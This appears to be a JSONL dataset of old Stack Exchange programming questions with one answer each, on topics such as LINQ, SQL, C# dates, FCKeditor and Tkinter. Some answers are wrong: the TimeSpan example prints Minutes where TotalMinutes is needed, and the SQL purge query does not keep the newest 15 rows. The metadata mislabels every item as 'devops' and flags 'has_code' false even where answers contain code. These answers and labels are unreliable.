{"id": "hf_ad270d53ac80", "question": "<p>What would be the best way to port an existing Drupal site to a Django application?\nI have around 500 pages (mostly books module) and around 50 blog posts. I'm not using any 3rd party modules.\nI would like to keep the current URLS (for SEO purposes) and migrate database to Django. I will create a simple blog application, so migrating blog posts should be ok. What would be the best way to serve 500+ pages with Django? I would like to use Admin to edit/add new pages.</p>\n", "question_body": "", "answer": "All Django development is similar, and yours will fit the pattern.\nDefine the Django model for your books and blog posts.\nUnit test that model using Django's built-in testing capabilities.\nWrite some small utilities to load your legacy data into Django.  At this point, you'll realize that your Django model isn't perfect.  Good.  Fix it.  Fix the tests.  Redo the loads.\nConfigure the default admin interface to your model.  At this point, you'll spend time  tweaking the admin interface.  You'll realize your data model is wrong.  Which is a good thing.  Fix your model.  Fix your tests.  Fix your loads.\nNow that your data is correct, you can create templates from your legacy pages.\nCreate URL mappings and view functions to populate the templates from the data model.\nTake the time to get the data model right.  It really matters, because everything else is very simple if your data model is solid.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.094611"}
{"id": "hf_2d74f235a2e1", "question": "<p>Given the Below Tables.  How do I get the Distinct name given the other ID of 76 in LINQ?</p>\n\n<pre><code>**Table S**\nSID   OtherID\n------------------------------\n1     77\n2     76\n\n\n**Table Q**\nQID   SID  HighLevelNAme      LoweLevelName\n---------------------------------------\n10     1       Name1              Engine\n11     1       Name1              SparkPlus\n12     1       Name2              Seat\n13     1       Name2              Belt\n14     1       Name1              Oil\n</code></pre>\n\n<p>I want to return a list of </p>\n\n<p>Name1\n  Name2</p>\n\n<p>The SQL to do this is </p>\n\n<pre><code>SELECT DISTINCT\n    Q.HighLevelNAme\nFROM S\nJOIN Q ON Q.SID = S.SID\nWHERE\n        S.OtherID = 76\n</code></pre>\n\n<p>I also have Objects that represents each table.</p>\n\n<p>An answer in VB or C# is acceptable.</p>\n", "question_body": "", "answer": "If you have the foreign key relationships defined in your database, and generated the LINQ classes via the designer, then the joins should be represented in the object model, right? So each QItem has a property SItem? If not, I guess you can use the Join extension method for that part.\nAnyhow, I didn't test this IRL, but wouldn't it just be this?\n```\n```\nvar results = (from QItem in dataContext.QItems\n                where QItem.SItem.OtherID == 76\n                select QItem.HighLevelName).Distinct();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.129725"}
{"id": "hf_02c49f635720", "question": "<p>Can somebody remember what was the command to create an empty file in MSDOS using BAT file?</p>\n", "question_body": "", "answer": "```\n```\necho. 2>EmptyFile.txt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.163208"}
{"id": "hf_bc3fa01ac0f3", "question": "<p>What is the best way to convert between HTML, XML, and XSL-FO in C#?</p>\n\n<p>I already have the HTML (piped in from FCKEditor) and I'd like to print a PDF (I have an XSL->PDF converter). I just can't seem to find a library that will convert from HTML into anything XSL friendly.</p>\n", "question_body": "", "answer": "I'd first try\nXSLT\n.  When you're talking about formatting XML documents (and that's pretty much what you're talking about), that's the tool designed to do it.\nFrom\nWiki\n:\n\"The general idea behind XSL-FO's use\n  is that the user writes a document,\n  not in FO, but in an XML language.\n  XHTML, DocBook, and TEI are all\n  possibilities, but it could be any XML\n  language. Then, the user obtains an\n  XSLT transform, either by writing one\n  themselves or by finding one for the\n  document type in question. This XSLT\n  transform converts the XML into\n  XSL-FO.\"\nYou need an XSLT transform for HTML to XSL-FO.  Not sure where to get one, but apparently the concept isn't alien.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.196335"}
{"id": "hf_865277a6a7f9", "question": "<p>I imagine there are many of you out there who have developed an application online which automates a lot of processes and saves people at your company time and money.</p>\n\n<p>The question is, what are your experiences with developing that application, having it all set in place, then \"spicing\" it up with some Ajax, so it makes for a better user experience?</p>\n\n<p>Also, what libraries would you suggest using when adding Ajax to an already-developed web application?</p>\n\n<p>Lastly, what are some common processes you see in web applications that Ajax does well with? For example, auto-populating the search box as you type.</p>\n", "question_body": "", "answer": "If you are using ASP.NET to write your applications, adding AJAX using ASP.NET AJAX is very straightforward and in many places will not require you to change any code at all except add two controls to the pages you want to modify.\nThis works using partial page loads. The controls you have to add (off the top off my head) are called something like\n```\n```\n<asp:ScriptManager\n```\n```\nand\n```\n```\n<asp:UpdatePanel\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.230028"}
{"id": "hf_8c87a7fe062a", "question": "<p>In the Java code I'm working with we have an interface to define our Data Access Objects(DAO). Most of the methods take a parameter of a Data Transfer Object (DTO). The problem occurs when an implementation of the DAO needs to refer to a specific type of DTO. The method then needs to do a (to me completely unnecessary cast of the DTO to SpecificDTO. Not only that but the compiler can't enforce any type of type checking for specific implementations of the DAO which should only take as parameters their specifc types of DTOs.\nMy question is: how do I fix this in the smallest possible manner?</p>\n", "question_body": "", "answer": "You could use generics:\n```\n```\nDAO<SpecificDTO> dao = new SpecificDAO();\ndao.save(new SpecificDTO());\netc.\n```\n```\nYour DAO class would look like:\n```\n```\ninterface DAO<T extends DTO> {\n    void save(T);\n}\n\nclass SpecificDAO implements DAO<SpecificDTO> {\n    void save(SpecificDTO) {\n        // implementation.\n    }\n    // etc.\n}\n```\n```\nSpecificDTO would extend or implement DTO.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.315996"}
{"id": "hf_d997835299cb", "question": "<p>I am having a problem with FCKeditor reverting html entities entered in the source view back to their original unicode representations. \nFor example when I enter <code>&amp;euro;</code> into the source view, switch to html and then back to source view, the entity is replaced by an actual € symbol. \nThe bigger problem, as a result, is that this unicode character is then sent back to the server on submit causing character encoding issues with the underlying database table.\nAnyone else come across this?\nI have tried many combinations of config settings but all to no avail.</p>\n", "question_body": "", "answer": "What version of FCKeditor are you using?  The current version is 2.6.3.  I tested the € symbol in their demo by copying\n```\n&euro;\n```\ninto source view, switched back to display and then back to HTML the ASCII\n```\n&euro;\n```\nwas retained correctly.  As such it sounds like there might be a configuration problem with your install of FCKEditor or you need to upgrade.\nEdit:\nJust found this gem in the FCKEditor documentation:\nhttp://docs.fckeditor.net/FCKeditor_2.x/Developers_Guide/Configuration/Configuration_Options/ProcessNumericEntities", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.362447"}
{"id": "hf_dc49a95ed915", "question": "<p>I just installed the first release candidate of Python 3.0 and got this error after typing:</p>\n\n<pre><code>&gt;&gt;&gt; help('modules foo')\n</code></pre>\n\n<pre>[...]\nLookupError: unknown encoding: uft-8</pre>\n\n<p>Notice that it says <strong>uft</strong>-8 and not <strong>utf</strong>-8</p>\n\n<p>Is this a py3k specific bug or a misconfiguration on my part? I do not have any other versions of Python installed on this French locale Windows XP SP3 machine.</p>\n\n<p><strong>Edit</strong></p>\n\n<p>A <a href=\"http://bugs.python.org/issue4135?@ok_message=msg%2074871%20created%3Cbr%3Eissue%204135%20created&amp;@template=item\" rel=\"nofollow noreferrer\">bug</a> has been filled by <a href=\"https://stackoverflow.com/users/22899/alex-coventry\">Alex Coventry</a> on October 16th.</p>\n", "question_body": "", "answer": "Looks like a typo in a config file somewhere, whether in the Py3k package or on your machine.  You might try installing the stable final Python 2.6 (which supports 3.0 syntax changes with imports from\n```\n__future__\n```\n), and if that works you should probably file a bug report.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.416849"}
{"id": "hf_56fcee15f4cd", "question": "<p>I changed the folder that my WordPress installation was in.</p>\n\n<p>However, this worked fine, except now all my images are not showing up.</p>\n\n<p>The problem is that each post has the full url of the image in it. (not my doing, this seems to be the default setting)</p>\n\n<p>Is there a tool or a quick fix available for this?</p>\n", "question_body": "", "answer": "You need to update your settings to reflect the directory change on the settings page in your admin section.\nEdit:\nSince it seems to be a problem in the posts themselves, you'll probably have to write a quick fixme script that runs through your post table searches for\n```\n'=\"/'\n```\nor something similar and updates any hardcoded links.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.461674"}
{"id": "hf_b344587fb787", "question": "<p>I have a <code>textbox</code> whose input is being handled by jQuery.</p>\n\n<pre><code>$('input.Search').bind(\"keyup\", updateSearchTextbox);\n</code></pre>\n\n<p>When I press <code>Enter</code> in the textbox, I get a postback, which messes everything up. How can I trap that Enter and ignore it?</p>\n\n<p>(Just to preempt one possible suggestion: The textbox has to be an <code>&lt;asp:textbox ... /&gt;</code> - I can't replace it with an <code>&lt;input ... /&gt;</code>.)</p>\n", "question_body": "", "answer": "Your browser is automatically submitting the form when you press enter. To cancel this, add return false to your updateSearchTextBox function.\nif that doesn't work, try this:\n```\n```\n<script language=\"JavaScript\">\n\nfunction disableEnterKey(e)\n{\n     var key;     \n     if(window.event)\n          key = window.event.keyCode; //IE\n     else\n          key = e.which; //firefox     \n\n     return (key != 13);\n}\n\n</script>\n```\n```\nAnd in your codebehind:\n```\n```\ntextbox.Attributes.Add(\"OnKeyPress\",\"return disableEnterKey(event)\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.483239"}
{"id": "hf_806906f2a71a", "question": "<p>Our application is well structured (well we did our best!) and we have split the Model from the View, Now, we need to let some information to our client with a web access. We would like to build something small with IIS and some webform.</p>\n<p>Here some information you might think are useful:</p>\n<ol>\n<li>Our controller have Thread of database queries</li>\n<li>Our database is PostGresql</li>\n<li>All is build with C#2.0</li>\n<li>We used a lot of databinding between our View and Controller in Winform.</li>\n<li>Winform will stay for internal purpose, only a small part will be available on the Internet.</li>\n</ol>\n<p>What are your suggestions for this kind of move?</p>\n<h2>Update</h2>\n<p>We will host the web in our company server so the database will stay inside the business. No need to duplicate data or any synchronization.</p>\n", "question_body": "", "answer": "The biggest challenge is going to be synchronizing your database between the local Winforms application and the hosted Webforms application. Once you do that, creating the web app is easy.\nIf your web application is read only, then you can set up replication. Find a tool that you like. Three that I found through a quick search are:\nSlony-I\nMamoth Replicator\nBucardo\nIf your web application is not read only, then the problem is more difficult. You might want to consider upgrading to .NET 3.0 or 3.5 so you can use WCF. If there is a significant overlap in functionality, you might want to move your data to the web exclusively and expose it through WCF services.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.521307"}
{"id": "hf_dc0e083fe5f2", "question": "<p>I have been attempting to write some routines to read RSS and ATOM feeds using the new routines available in System.ServiceModel.Syndication, but unfortunately the Rss20FeedFormatter bombs out on about half the feeds I try with the following exception:</p>\n\n<blockquote>\n<pre><code>An error was encountered when parsing a DateTime value in the XML.\n</code></pre>\n</blockquote>\n\n<p>This seems to occur whenever the RSS feed expresses the publish date in the following format:</p>\n\n<blockquote>\n  <p>Thu, 16 Oct 08 14:23:26 -0700</p>\n</blockquote>\n\n<p>If the feed expresses the publish date as GMT, things go fine:</p>\n\n<blockquote>\n  <p>Thu, 16 Oct 08 21:23:26 GMT</p>\n</blockquote>\n\n<p>If there's some way to work around this  with XMLReaderSettings, I have not found it.  Can anyone assist?</p>\n", "question_body": "", "answer": "Interesting. It would looks like the datetime formatting is not one of the ones naturally expected by the datetime parser. After looking at the feed classes it does not look like you can inject in your own formatting convention for the parser and they it likely uses a specific scheme for validating the feel.\nYou may be able to change how the datetime parser behaves by modifying the\nculture\n. I have never done it before so I can't say for sure it would work.\nAnother solution night be to first transform the feed you are trying to read. Likely not the greatest but it could get you around the issue.\nGood luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.586545"}
{"id": "hf_641c294119cc", "question": "<p>What's the best way to get an array of all elements in an html document with a specific CSS class using javascript?</p>\n\n<p>No javascript frameworks like jQuery allowed here right now, and I could loop all the elements and check them manually myself.  I'm hoping for something a little more elegant.</p>\n", "question_body": "", "answer": "You can include a\ngetElementsByClass\nfunction, or you can use\na jQuery selector\n.\nUPDATE:\nThe\nimplementation\nmentioned by @\nShog9\nis probably better than that above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.608715"}
{"id": "hf_db93b7e5a041", "question": "<p>If I have a VB.Net function that returns an Int32, but uses an unsigned int (UInt32) for calculations, etc.  How can I convert a variable \"MyUintVar32\" with a value of say \"3392918397 into a standard Int32 in VB.Net?  </p>\n\n<p>In c# if I just do a \"return (int)(MyUintVar32);\", I get -902048899, not an error.</p>\n\n<p>I've tried several different methods.  What is the difference in the way c# handles these conversions versus VB.Net?</p>\n", "question_body": "", "answer": "It's not an optimal solution, but you can use BitConverter to get a byte array from the uint and convert the byte array to int.\n```\n```\nDim myUInt32 As UInt32 = 3392918397\nDim myInt32 As Int32 = BitConverter.ToInt32(BitConverter.GetBytes(myUInt32), 0)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.630639"}
{"id": "hf_45d85a39f60f", "question": "<p>Is it possible to somehow mark a <code>System.Array</code> as immutable.  When put behind a public-get/private-set they can't be added to, since it requires re-allocation and re-assignment, but a consumer can still set any subscript they wish:</p>\n\n<pre><code>public class Immy\n{\n    public string[] { get; private set; }\n}\n</code></pre>\n\n<p>I thought the <code>readonly</code> keyword might do the trick, but no such luck.</p>\n", "question_body": "", "answer": "I believe best practice is to use\n```\nIList<>\n```\nrather than arrays in public APIs for this exact reason.\nreadonly\nwill prevent a member variable from being set outside of the constructor, but as you discovered, won't prevent people from assigning elements in the array.\nSee Eric Lippert's article\nArrays Considered Somewhat Harmful\nfor more information.\nEdit:\nArrays can't be read only, but they can be converted to read-only IList implementations via\n```\nArray.AsReadOnly()\n```\nas @shahkalpesh points out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.688269"}
{"id": "hf_10e73a77e069", "question": "<p>I notice that there's frequently an aspnet_client folder under the standard IIS web folder structure. What is this used for? Is it needed?</p>\n", "question_body": "", "answer": "In the .NET 1.1 days and before, this folder provided ASP.NET with its JavaScript support for the validation controls and other functionality.  If you don't have a .NET 1.1 site  or older running it should be safe to delete it.  I would rename it first to ensure it doesn't cause any problems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.711190"}
{"id": "hf_920b41227fa2", "question": "<p>How can polymorphism be described in an easy-to-understand way?</p>\n\n<p>We can find a lot of information about the subject on the Internet and books, like in <em><a href=\"http://en.wikipedia.org/wiki/Type_polymorphism\" rel=\"noreferrer\">Type polymorphism</a></em>. But let's try to make it as simple as we can.</p>\n", "question_body": "", "answer": "The way I try and think of it is something that looks the same but can have different functionality depending on the instance. So you can have a type\n```\n```\ninterface IJobLoader\n```\n```\nbut depending on how it is used can have different functionality while still looking the same. You may have instances for BatchJobLoader, NightlyJobLoader etc\nMaybe I am way off.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.756889"}
{"id": "hf_88e34ceb6e39", "question": "<p>Anyone know a QR decoder that works on mac or that might be online? I just need to decode one single image.</p>\n", "question_body": "", "answer": "Unfortunately, the most used library\nlibdecodeqr\nis depends on OpenCV (gtk2) and it is too hard to compile it on OS X. (Tried to compile it because it is needed by\n```\nImage::DecodeQR\n```\nperl module - but unsuccessful).\nFortunately, found this link:\nhttp://macscripter.net/viewtopic.php?id=37404\nfrom citing the next:\nDownload the\nZBar source code\n.\nUnpack the the tarball, and open the resulting directory in a Terminal window.\nType\n```\n./configure --disable-video --without-python --without-gtk --without-qt\n```\nto configure the build process, limiting dependencies to ImageMagick.\nType \"make\" to invoke the build process.\nType \"sudo make install\", and enter an administrator password when prompted.\nYou will need\n```\nImageMagick\n```\nwhat can be installed from\nmacports\n.\nAfter installing the ZBar, you can nicely decode qrcode with a command\n```\n```\nzbarimg qrcode_file.png\n```\n```\nTested on OS X Mavericks 10.9.2 (and Lion/10.7.5)- and works nicely. Becasue it only depends on ImageMagick (exists in macports)- should be easily \"compilable\" on other OS X versions too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.803450"}
{"id": "hf_301cd6e0b551", "question": "<p>I saw this question asked about C# I would like an answer for PHP. I have some old code that has 4 pages of foreach loops and conditions which just makes it hard to read and follow. How would I make this more OO? I was thinking of using SPL Functions but don't fully understand whats involved yet.</p>\n", "question_body": "", "answer": "Start slowly.  refactor it a piece at a time.\nIf you are looping over a lot of arrays, look at the array functions like\n```\narray_map\n```\n,\n```\narray_walk\n```\n, and friends.  This is more a functional refactoring then an OO refactoring, but it would carry you pretty far.\nIf\nit made sense to go more OO, then you will have some functions that you could then push into the proper classes as needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.826990"}
{"id": "hf_46443db595d6", "question": "<p>I continue to get this error:</p>\n\n<pre><code>Object '%s' cannot be renamed because the object participates in enforced dependencies\n</code></pre>\n\n<p>I need to find a script that will help me to find all the dependencies that there is with this table. I will need to drop them, rename, then bring them back.</p>\n\n<p>SQL Server 2005</p>\n", "question_body": "", "answer": "To disable all contraints\n```\n```\nsp_msforeachtable \"ALTER TABLE ? NOCHECK CONSTRAINT all\"\ngo\nsp_msforeachtable \"ALTER TABLE ? DISABLE TRIGGER  all\"\ngo\n```\n```\nTo Re-enable\n```\n```\nsp_msforeachtable\"ALTER TABLE ? CHECK CONSTRAINT all\"\ngo\nsp_msforeachtable \"ALTER TABLE ? ENABLE TRIGGER  all\"\ngo\n```\n```\nYou should easily be able to adapt this to just one table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.873355"}
{"id": "hf_6894af7350d1", "question": "<p>I have a bunch of records in several tables in a database that have a \"process number\" field, that's basically a number, but I have to store it as a string both because of some legacy data that has stuff like \"89a\" as a number and some numbering system that requires that process numbers be represented as number/year.</p>\n\n<p>The problem arises when I try to order the processes by number. I get stuff like:</p>\n\n<ul>\n<li>1</li>\n<li>10</li>\n<li>11</li>\n<li>12</li>\n</ul>\n\n<p>And the other problem is when I need to add a new process. The new process' number should be the biggest existing number incremented by one, and for that I would need a way to order the existing records by number.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Maybe this will help.\nEssentially:\n```\n```\nSELECT process_order FROM your_table ORDER BY process_order + 0 ASC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.918637"}
{"id": "hf_0e631fc83b9f", "question": "<p>Assume a table with the following columns:</p>\n\n<p><code>pri_id</code>, <code>item_id</code>, <code>comment</code>, <code>date</code></p>\n\n<p>What I want to have is a SQL query that will delete any records, for a specific <code>item_id</code> that are older than a given date, BUT only as long as there are more than 15 rows for that <code>item_id</code>.</p>\n\n<p>This will be used to purge out comment records older than 1 year for the items but I still want to keep at least 15 records at any given time.  This way if I had one comment for 10 years it would never get deleted but if I had 100 comments over the last 5 days I'd only keep the newest 15 records.  These are of course arbitrary record counts and date timeframes for this example.</p>\n\n<p>I'd like to find a very generic way of doing this that would work in mysql, oracle, postgres etc.  I'm using phps adodb library for DB abstraction so I'd like it to work well with that if possible.</p>\n", "question_body": "", "answer": "Something like this should work for you:\n```\n```\ndelete\nfrom\n  MyTable\nwhere\n  item_id in\n  (\n    select\n      item_id\n    from\n      MyTable\n    group by\n      item_id\n    having\n      count(item_id) > 15\n  )\n  and\n    Date < @tDate\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.941890"}
{"id": "hf_e6a9658f929f", "question": "<p>What do I use to search for multiple words in a string?  I would like the logical operation to be AND so that all the words are in the string somewhere.  I have a bunch of nonsense paragraphs and one plain English paragraph, and I'd like to narrow it down by specifying a couple common words like, \"the\" and \"and\", but would like it match all words I specify.</p>\n", "question_body": "", "answer": "Assuming PCRE (Perl regexes), I am not sure that you can do it at all easily.  The AND operation is concatenation of regexes, but you want to be able to permute the order in which the words appear without having to formally generate the permutation.  For N words, when N = 2, it is bearable; with N = 3, it is barely OK; with N > 3, it is unlikely to be acceptable.  So, the simple iterative solution - N regexes, one for each word, and iterate ensuring each is satisfied - looks like the best choice to me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.964953"}
{"id": "hf_65fd15aaa062", "question": "<p>I'm building a code in which I'd like to be able to generate an event when the user changes the focus of the cursor from an Entry widget to anywhere, for example another entry widget, a button...</p>\n<p>So far i only came out with the idea to bind to TAB and mouse click, although if i bind the mouse click to the Entry widget i only get mouse events when inside the Entry widget.</p>\n<p>How can I accomplish generate events for when a widget loses cursor focus?</p>\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "This isn't specific to tkinter, and it's not focus based, but I got an answer to a similar question here:\nDetecting Mouse clicks in windows using python\nI haven't done any tkinter in quite a while, but there seems to be \"FocusIn\" and \"FocusOut\" events. You might be able to bind and track these to solve your issue.\nFrom:\nhttp://effbot.org/tkinterbook/tkinter-events-and-bindings.htm", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.988426"}
{"id": "hf_c1b8ff6b0a17", "question": "<p>Whats the best practice for setting up package structures in a Java Web Application?</p>\n\n<p>How would you setup your src, unit test code, etc?</p>\n", "question_body": "", "answer": "You could follow maven's\nstandard project layout\n. You don't have to actually use maven, but it would make the transition easier in the future (if necessary). Plus, other developers will be used to seeing that layout, since many open source projects are layed out this way,", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.047446"}
{"id": "hf_2f9f62d5cc07", "question": "<p>Why is it that <code>scanf()</code> needs the <code>l</code> in \"<code>%lf</code>\" when reading a <code>double</code>, when <code>printf()</code> can use \"<code>%f</code>\" regardless of whether its argument is a <code>double</code> or a <code>float</code>?</p>\n\n<p>Example code:</p>\n\n<pre><code>double d;\nscanf(\"%lf\", &amp;d);\nprintf(\"%f\", d);\n</code></pre>\n", "question_body": "", "answer": "Because C will promote floats to doubles for functions that take variable arguments. Pointers aren't promoted to anything, so you should be using\n```\n%lf\n```\n,\n```\n%lg\n```\nor\n```\n%le\n```\n(or\n```\n%la\n```\nin C99) to read in doubles.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.074836"}
{"id": "hf_03053fb78a21", "question": "<p>Has anybody got any suggestions for a custom tabcontrol implemented in C# and which adheres to these criteria:</p>\n\n<ul>\n<li>Allows the tabs to be placed along the side of the control.</li>\n<li>Tab text must read horizontally.</li>\n<li>Allow custom colouring.</li>\n<li>Open source or no cost.</li>\n</ul>\n\n<p>I prefer not to get my hands dirty with <em>ownerdrawing</em> if a solution already exists.</p>\n", "question_body": "", "answer": "You probably don't have a need for this anymore but anyone else who stumbles upon it might find it useful.\nI found this tabcontrol on CodeProject it is also very easy to Draw your own tabs with it, they even give you a example on the site.\nY(et)A(nother)TabControl\nA couple more tab controls.\nTabStrip Control\nTabStrips: A TabControl in the Visual Studio 2005 way!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.109874"}
{"id": "hf_d608526065c4", "question": "<p>I would like to know many minutes between 2 dates?</p>\n\n<p>Example : Now - tommorow at the exact time would return me 1440.</p>\n", "question_body": "", "answer": "Look at the TimeSpan class.\n```\n```\nDateTime date1 = DateTime.Now;\n        DateTime date2 = DateTime.Now.AddDays(1);\n\n        TimeSpan diff = date2.Subtract(date1);\n        Console.WriteLine(diff.Minutes);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.157243"}
{"id": "hf_02163b7c2e10", "question": "<p>I have created HTTP handlers. </p>\n\n<p>How do I create global variables for these handlers like I can with ASP.net web pages in  global.asax?</p>\n", "question_body": "", "answer": "Add the variables to the Application instance:\n```\n```\nSystem.Web.HttpContext.Current.Application[\"MyGlobalVariable\"] = myValue;\n```\n```\nOr, if the variable only need to live for the life of an individual request, use the Context object's Items collection:\n```\n```\nSystem.Web.HttpContext.Current.Items[\"MyGlobalVariable\"] = myValue;\n```\n```\nAgain, that will live for only the life of a single request.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.192048"}
